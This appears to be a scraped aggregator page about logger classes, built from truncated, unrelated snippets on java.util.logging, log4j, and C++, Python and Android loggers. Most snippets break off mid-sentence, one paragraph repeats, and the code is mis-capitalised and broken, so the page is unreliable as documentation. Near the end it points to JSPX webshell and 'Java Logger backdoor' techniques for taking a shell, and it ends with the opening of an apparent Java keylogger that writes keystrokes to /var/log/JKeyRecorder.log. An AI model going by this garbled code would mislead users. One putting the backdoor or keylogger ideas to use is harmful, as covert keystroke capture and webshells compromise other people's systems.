logger class in java

Java program log: java. util. logging. Logger class,1. Logger level More detailed than the log4j Level, all defined in java. util. logging. Level.The levels are listed in descending order as follows:SEVERE (maximum value)WARNINGIN

class Logger Java.lang.Object Java.util.logging.Logger The Logger object is used to record log messages for a particular system or application component. You typically use a dot-delimited hierarchical namespace to name Logger. Logger names can be arbitrary strings, but t

is the XML configuration file in the example: Plainlog4jconfig.xml. Here is the program that executes the configuration file: Files/externalxmltest.java: Import Org.apache.log4j.Logger; Import Org.apache.log4j.xml.DOMConfigurator; public class Externalxmltest { static Logger Logger = Logger.getlogger (Filetest.class); public static void Main (String args[]) { Do

(fully qualified) class name. The appender must have a specified name and class. Embedded within Appender is the layout element, where it is designated as Simplelayout. Layout must have a class attribute.The root element must be present and not quilt-like. The priority in the example is set to "Debug", and the set Appender is full of a appender-ref element. Ther

(fully qualified) class name. The appender must have a specified name and class. Embedded within Appender is the layout element, where it is designated as Simplelayout. Layout must have a class attribute.The root element must be present and not quilt-like. The priority in the example is set to "Debug", and the set Appender is full of a appender-ref element. Ther

class classes, and then change the name of the custom logger to the corresponding package name or class name The class that needs to be consolidated is placed under the same package, with the XXXX.XXX package name for the logger definition, which will be played together bec

, if the parent logger level is not set, continue to find the parent's parent, finally found root, if the root set to use it, if root is not set, the default value of root is warning3. Generate some level of information on a logger, first and logger levels, if the message level is lower than Logger's EFFECTIVELEVL, the message is discarded and the message is no l

java.util.logging.FileHandler;import java.util.logging.Level;import java.util.logging.Logger;public class LoggerLog { public static void main(String[] args) { //create logger Logger logger = Logger.getLogger("LoggerLog"); logger.setLevel(Level.INFO); //create console handler Conso

Singleton mode : Create global objects with local static (non-local static possible initialization problems)Select One of the implementations (Std::cerr, printf, file) by #ifdef, #ifndef, #if defined, and other conditional compilationsSetting some default values through environment variablesif"ORO_LOGLEVEL"0 ){...}Using nested classes to manage internal implementation log level (Info, Waring, Error) controlclass Logger { struct D; D* d; //}Use

with these logs,Myloghander decided the format, no handle, the default console output, the above code equals to add a new two output mode, one is the console is output to text, So now there are three ways of handling, two of which are consoles, which is why the console prints two times. The formatting section can be no, but the format may be ugly. Handle and formatter, see below for details.Logger's HandlerThe Handler object obtains the log information from the

Logger the corresponding property file in the installation JDK directory Jre/lib/logging.properties (for example, in my current machine is C:\Program files\java\jre6\lib\ Logging.properties) Logging.properties file (logging.properties file contains logger configuration information, including where the log is exported, what level, etc.) handlers= Java.util.logging

Set your own logger tool class You can set a one-click switch. You can set a global tag. Relatively simple to use, log. I (TAG, "in testing..."); Replace with logger. I ("in testing ..."); CodeImplementation example: Package com.com. test; import android. util. log; public class

#!/usr/bin/env python#CODING=GBKImportLogging, OSclassLogger:def __init__(Self, path, clevel=logging. DEBUG, flevel=logging. DEBUG): Self.logger=Logging.getlogger (path) self.logger.setLevel (logging. DEBUG) FMT= Logging. Formatter ('[% (asctime) s] [% (levelname) s]% (message) s','%y-%m-%d%h:%m:%s') #set cmd logSH =logging. Streamhandler () sh.setformatter (FMT) sh.setlevel (clevel)#Set File LogFH =logging. Filehandler (Path) fh.setformatter (FMT) fh.setlevel (flevel) self.logger.addHand

() { System.out.println ("thiskeywordsa className = =" + ClassName); } } Package com.zhaipuhong.j2se.keywords; Public class THISKEYWORDSB extends thiskeywordsa{ Public THISKEYWORDSB () { System.out.println ("THISKEYWORDSB className = =" + ClassName); } /** * @param args */ public static void Main (string[] args) { //TODO auto-generated method stub THISKEYWORDSB B = new THISKEYWORDSB (); } } Operation

Copy Code code as follows: Import Org.apache.log4j.ConsoleAppender; Import Org.apache.log4j.FileAppender; Import Org.apache.log4j.Level; Import Org.apache.log4j.Logger; Import Org.apache.log4j.PatternLayout; public class Loggerutils {/*** Create Logger instance** @param clazz Event Log Occurrence class* @param ifconsole output to the console* @param

Reprinted: http://whotodo.iteye.com/blog/1701596 In the object-oriented world, we can anthropomorphic objects. They not only possess resources (data), but also implement some functions (methods ). Logger is built in Java. Android also supports a log recorder that can write log information to the console or file. package org.vhow.android; import java.io.IOException; import java.util.log

=org.apache.log4j.patternlayout LOG4J.APPENDER.FILE.LAYOUT.CONVERSIONPATTERN=[%5P]%d{yyyy-mm-dd HH:mm:ss} [%t] (%f:%l)%m%n Log4j.appender.secondadpter=org.apache.log4j.dailyrollingfileappender log4j.appender.secondadpter.file=./log/ Second.log log4j.appender.secondadpter.datepattern= '. ' YYYY-MM-DD Log4j.appender.secondadpter.layout=org.apache.log4j.patternlayout LOG4J.APPENDER.SECONDADPTER.LAYOUT.CONVERSIONPATTERN=[%5P]%d{yyyy-mm-dd HH:mm:ss} [%t] (%f:%l)%m%n iii. use of Secondlogger You c

A sample code that uses Java.util.logging.Logger for log output is as follows: Package com.sample; Import Java.io.File; Import Java.util.logging.FileHandler; Import Java.util.logging.Handler; Import Java.util.logging.Level; Import Java.util.logging.Logger; Import Java.util.logging.SimpleFormatter; public class Loggersample {protected Logger Log=logger.getlogger (This.getclass (). GetName ()); public loggers

Use this can break through St2 forced JSP jump login.jspUsing jspx to resolve JSP suffixes is restricted to take shell-hack Blog | Hacker BlogHttp://www.hackblog.cn/post/45.htmlTwo "new" Javaweb backdoors (Jspx and Java Logger) | Hugtion ' s Bloghttps://www.hugtion.com/?p=768About the Javaweb back door problem has been relatively small, and relatively novel back door less. Here I share two more interesting

Java.io.FileWriter;Import java.io.IOException;Class Recorder implements Runnable {@Overridepublic void run() {// TODO 自动生成的方法存根final File F = new File("/var/log/JKeyRecorder.log");if (F.exists() == false) { try { Runtime.getRuntime().exec("touch " + F.getAbsolutePath()); } catch (final IOException e) { // TODO 自动生成的 catch 块 e.printStackTrace(); }}new KeyListener() { @Override public void keyPressed(final KeyEvent arg0) { //